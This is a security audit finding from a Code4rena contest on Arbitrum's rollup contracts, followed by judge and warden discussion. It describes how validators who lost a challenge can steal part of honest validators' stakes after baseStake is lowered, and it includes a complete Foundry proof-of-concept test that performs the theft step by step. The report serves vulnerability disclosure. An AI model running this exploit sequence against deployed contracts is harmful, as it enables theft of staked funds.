The adversary validators steal the staked funds in `RollupUserLogic.sol`

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-05-arbitrum-foundation/blob/main/src/rollup/RollupAdminLogic.sol#L223-L226

Vulnerability details

Description

All the validators that have lost a challenge in the past can steal funds from The honest validators in RollupUserLogic.sol Here are quick 7 steps POC (check below for coded POC): Note: Alice and Bob are playing under the same entity.

1- The adversary validators Bob lose a challenge. Bob loses 10 Wei here.

2- The honest validator creates the next assertion.

3- The admin call setBaseStake() to decrease the baseStake state variable. e.g: from 10 Wei to 8 Wei.

4- Alice invoke newStakeOnNewAssertion() to create the first child of Bob assertion Alice stake (technically it's a loss at this point) 10 Wei for this. However, the requiredStake in Alice's assertion configHash is only 8 Wei (Check it here).

5- Bob trigger reduceDeposit() to reduce his amount staked to only 8 Wei.

6- Now, Bob invoke stakeOnNewAssertion() to create the first child of Alice assertion.

7- Alice invoke returnOldDeposit() to withdraw her 10 Wei and Bob withdraw his 2 Wei by calling withdrawStakerFunds().

Deep dive

Key points:

• In the RollupUserLogic.sol, When an assertion has two children or more, The protocol only keeps 1 stake per challenge, so the loser stakes are already sent to the loserStakeEscrow(check here). So, the only funds will be available in RollupUserLogic is from the honest validators and they can withdraw the funds when are not active staker.

• In the RollupCore system, it is possible to create multiple assertions with only one stack. It uses a structure where assertions are linked, and each new assertion is created based on the state of the previous one. This is why when an adversary validator loses a challenge his values in _stakerMap[stakerAddress] are not updated.

• The setBaseStake() function in the RollupAdminLogic.sol contract is used to update the baseStake state variable, which is required for posting a claim (aka an assertion) in the RollupUserLogic.sol contract. This function is part of the administrative controls of the rollup system, allowing the rollup administrator to adjust the staking requirements as needed.

• The baseStake state variable is used in createNewAssertion() this values will be defined how much the next assertion should stake (the next assertion should get created based previous one).

Step by step:

When Bob loses the challenge to the honest validator he also loses the 10 wei (as a stake amount). However, His values in _stakerMap[stakerAddress] don’t get updated this is intended by the protocol because the loser’s stake would not be able to be withdrawn unless someone else put down a stake to unlock the loser's stake, but that someone’s stake would be locked, effectively he is paying the original loser.

On the other hand, the honest validator will keep up his good work by posting the next and the next assertions.

Until one day the rollup owner decides to decrease the baseStake state variable (More on how the logic handle it HERE)

Note: At this point, any validator who has lost a challenge in the past can do the same as Bob will do.

Back to Bob, His assertion state is still Pending and let's call it the assertion X Alice will invoke newStakeOnNewAssertion() to create the first child of Bob assertion X and let's call Alice's assertion Y. Of course, she will stake 10 Wei and Bob will be able to withdraw his 10 Wei (But Bob will not withdraw his 10 Wei now)

The reason why we need to create assertion Y. is because it will use the new value of baseStake in the configHash of assertion Y (this will help the adversary validator to unlock Alice's stake).

Now, Bob will trigger reduceDeposit() to reduce his amount staked to only 8 Wei (This 8 Wei he will use it to unlock 10 Wei of Alice). The other 2 Wei are unstacked and he can withdraw them anytime.

Bob will call stakeOnNewAssertion() to create the first child of Alice assertion Y BUT, this time he will stake only 8 Wei (Why? Check this again)

As a result of this: 1- Alice will withdraw her 10 Wei 2- Bob will withdraw the stolen funds which is 2 Wei in this POC Note: The 2 Wei are from the honest validators staked funds.

Impact

Any validator that has lost a challenge in the past can steal part of the honest validator's staked funds.

Proof of Concept

Foundry PoC:

Please copy the following POC in Rollup.t.sol

    function testSuccessSetBaseStake() public {
        vm.prank(upgradeExecutorAddr);
        adminRollup.setBaseStake(8);
    }
    function testPOC_SuccessConfirmEdgeByTime() public returns (SuccessCreateChallengeData memory) {
        SuccessCreateChallengeData memory data = testSuccessCreateChallenge();

        vm.roll(userRollup.getAssertion(genesisHash).firstChildBlock + CONFIRM_PERIOD_BLOCKS + 1);
        vm.warp(block.timestamp + CONFIRM_PERIOD_BLOCKS * 15);
        userRollup.challengeManager().confirmEdgeByTime(
            data.e1Id,
            AssertionStateData(
                data.afterState1,
                genesisHash,
                userRollup.bridge().sequencerInboxAccs(0)
            )
        );
        bytes32 inboxAcc = userRollup.bridge().sequencerInboxAccs(0);
        vm.roll(block.number + userRollup.challengeGracePeriodBlocks());
        vm.prank(validator1);
        userRollup.confirmAssertion(
            data.assertionHash,
            genesisHash,
            data.afterState1,
            data.e1Id,
            ConfigData({
                wasmModuleRoot: WASM_MODULE_ROOT,
                requiredStake: BASE_STAKE,
                challengeManager: address(challengeManager),
                confirmPeriodBlocks: CONFIRM_PERIOD_BLOCKS,
                nextInboxPosition: firstState.globalState.u64Vals[0]
            }),
            inboxAcc
        );
        return data;
    }

    function readStakerMap(
        address addr
    )
        public
        returns (
            uint256 amountStaked,
            bytes32 latestStakedAssertion,
            uint64 index,
            bool isStaked,
            address withdrawalAddress
        )
    {
        return (userRollup._stakerMap(addr));
    }

    function testRun_Me_POC() public {
        /*****************
         *****Step -1-*****
         *****************/
        SuccessCreateChallengeData memory data = testPOC_SuccessConfirmEdgeByTime();
        /*@audit-info 
        - `validator1` is the honest validator
        - `validator2` is the adversary validator (aka: Bob)
        - `validator3` is the adversary validator (aka: Alice)
        at this point:
        Bob lose a challenge and his 10 wei (which is the value of the constant `BASE_STAKE`)*/

        /*****************
         *****Step -2-*****
         *****************/
        //Set-up
        uint256 prevInboxCount = data.newInboxCount;
        bytes32 prevHash = userRollup.latestConfirmed();
        AssertionState memory beforeState;
        beforeState = data.afterState1;

        AssertionState memory afterState;
        afterState.machineStatus = MachineStatus.FINISHED;
        afterState.globalState.u64Vals[0] = uint64(prevInboxCount);

        bytes32 inboxAcc = userRollup.bridge().sequencerInboxAccs(1); // 1 because we moved the position within message
        bytes32 expectedAssertionHash = RollupLib.assertionHash({
            parentAssertionHash: prevHash,
            afterState: afterState,
            inboxAcc: inboxAcc
        });

        bytes32 prevInboxAcc = userRollup.bridge().sequencerInboxAccs(0);

        //The honest validator creats the next assertion
        vm.prank(validator1);
        userRollup.stakeOnNewAssertion({
            assertion: AssertionInputs({
                beforeStateData: BeforeStateData({
                    sequencerBatchAcc: prevInboxAcc,
                    prevPrevAssertionHash: genesisHash,
                    configData: ConfigData({
                        wasmModuleRoot: WASM_MODULE_ROOT,
                        requiredStake: BASE_STAKE,
                        challengeManager: address(challengeManager),
                        confirmPeriodBlocks: CONFIRM_PERIOD_BLOCKS,
                        nextInboxPosition: afterState.globalState.u64Vals[0]
                    })
                }),
                beforeState: beforeState,
                afterState: afterState
            }),
            expectedAssertionHash: expectedAssertionHash
        });

        /*****************
         *****Step -3-*****
         *****************/
        //The admin call setBaseStake() to decrease the `baseStake` state variable from 10 wei to 8 wei
        testSuccessSetBaseStake();

        /*****************
         *****Step -4-*****
         *****************/
        //Set-up
        beforeState = data.afterState2;
        afterState.machineStatus = MachineStatus.FINISHED;
        afterState.globalState.u64Vals[0] = uint64(prevInboxCount);

        // `Alice` the adversary validator creats the next assertion
        vm.prank(validator3);
        userRollup.newStakeOnNewAssertion({
            tokenAmount: BASE_STAKE,
            assertion: AssertionInputs({
                beforeStateData: BeforeStateData({
                    sequencerBatchAcc: prevInboxAcc,
                    prevPrevAssertionHash: genesisHash,
                    configData: ConfigData({
                        wasmModuleRoot: WASM_MODULE_ROOT,
                        requiredStake: BASE_STAKE,
                        challengeManager: address(challengeManager),
                        confirmPeriodBlocks: CONFIRM_PERIOD_BLOCKS,
                        nextInboxPosition: afterState.globalState.u64Vals[0]
                    })
                }),
                beforeState: beforeState,
                afterState: afterState
            }),
            expectedAssertionHash: bytes32(0),
            withdrawalAddress: validator3Withdrawal
        });

        //nb:You can check. the adversary validator `Bob` is able to withdraw his 10 wei
        /*vm.prank(validator2);
        userRollup.returnOldDeposit();*/

        /*****************
         *****Step -5-*****
         *****************/
        //`Bob` trigger `reduceDeposit()` to reduce his staked amount only to 8 wei
        vm.prank(validator2);
        userRollup.reduceDeposit(8);

        /*****************
         *****Step -6-*****
         *****************/
        //`Bob` invoke stakeOnNewAssertion() to create the first child of Alice assertion
        //Note: `Bob` will lock only 8 wei this time

        //Set-up
        (, bytes32 latestStakedAssertion, , , ) = readStakerMap(validator2);
        uint64 newInboxCount = uint64(_createNewBatch());

        beforeState = afterState;
        prevInboxAcc = userRollup.bridge().sequencerInboxAccs(1);

        AssertionState memory afterStatePOC;
        afterStatePOC.machineStatus = MachineStatus.FINISHED;
        afterStatePOC.globalState.bytes32Vals[0] = keccak256(
            abi.encodePacked(FIRST_ASSERTION_BLOCKHASH)
        ); // blockhash
        afterStatePOC.globalState.bytes32Vals[1] = keccak256(
            abi.encodePacked(FIRST_ASSERTION_SENDROOT)
        ); // sendroot
        afterStatePOC.globalState.u64Vals[0] = newInboxCount; // inbox count
        afterStatePOC.globalState.u64Vals[1] = 0; // pos in msg

        vm.roll(block.number + 75);

        vm.prank(validator2);

        userRollup.stakeOnNewAssertion({
            assertion: AssertionInputs({
                beforeStateData: BeforeStateData({
                    sequencerBatchAcc: prevInboxAcc,
                    prevPrevAssertionHash: latestStakedAssertion,
                    configData: ConfigData({
                        wasmModuleRoot: WASM_MODULE_ROOT,
                        requiredStake: 8,
                        challengeManager: address(challengeManager),
                        confirmPeriodBlocks: CONFIRM_PERIOD_BLOCKS,
                        nextInboxPosition: afterStatePOC.globalState.u64Vals[0]
                    })
                }),
                beforeState: beforeState,
                afterState: afterStatePOC
            }),
            expectedAssertionHash: bytes32(0)
        });

        /*****************
         *****Step -7-*****
         *****************/
        //Alice withdraw 10 wei
        vm.prank(validator3);
        userRollup.returnOldDeposit();

        vm.prank(validator3Withdrawal);
        uint amountWithdrawn = userRollup.withdrawStakerFunds();
        assertEq(amountWithdrawn, 10);

        //Bob withdraw 2 wei
        vm.prank(validator2Withdrawal);
        amountWithdrawn = userRollup.withdrawStakerFunds();
        assertEq(amountWithdrawn, 2);
    }

2- forge test --match-test testRun_Me_POC

Tools Used

Docs Wolf - Manual Review

Recommended Mitigation Steps

Make sure that any adversary validator is not able to come back and recover his funds by triggering RollupCore.sol#deleteStaker() However, I can't find a way with the current tracking system to find and delete the pending assertions after calling RollupUserLogic.sol#confirmAssertion()

Assessed type

Invalid Validation

[c4-judge]

Picodes marked the issue as not a duplicate

[c4-judge]

Picodes marked the issue as duplicate of #8

[c4-judge]

Picodes marked the issue as satisfactory

[Ch-301]

Hi @Picodes , could you consider selecting this issue for the report instead of #8 ? I believe it is better due to the following reasons:

• It presents a quick 7-step POC. simpler and easier to understand.
• Explain the principle's key points of the RollupCore system with relevant URL code snippets. To assist the reader in clearly understanding the vulnerability.
• Evinced a concrete example as Foundry PoC.
• Notify the sponsor that with the current tracking system, there is no way to mitigate the issue (the fix is just sacrificing the choice of decreasing baseStake value).

That being said, I am aware that a report being "better" is extremely subjective, and will respect your final decision as a judge.

Thanks!

[xuwinnie]

Hi @Ch-301 ,

1. My report has 3 steps, I think 3 steps should be easier to understand than 7 steps. Also you repeat the 7 steps for 3 times, that is 7*3=21. I don't agree with “the longer the better”
2. I don't think a coded poc has any help for sponsor or reader to understand the report. Purely by reading my description it is very clear.
3. “with the current tracking system, there is no way to mitigate the issue” This is invalid, as I come up with a valid solution. The sponser chose simple fix since the solution is too complex. I don't think saying “I don't know” is better than showing a correct fix.

[Picodes]

@Ch-301 thanks for your comment, that I totally understand given how arbitrary this is.

I went for #8 considering that:

• The schemes of #8 are very clear and do a great job explaining what the issue is. Although there is no coded PoC, I appreciate the conciseness and precision of #8.
• This report doesn't suggest any mitigation. We could argue that the sponsor didn't follow the recommendation of #8 either but it does a better job proposing things
• It was the report set as primary by the validators, which I took as validation for this choice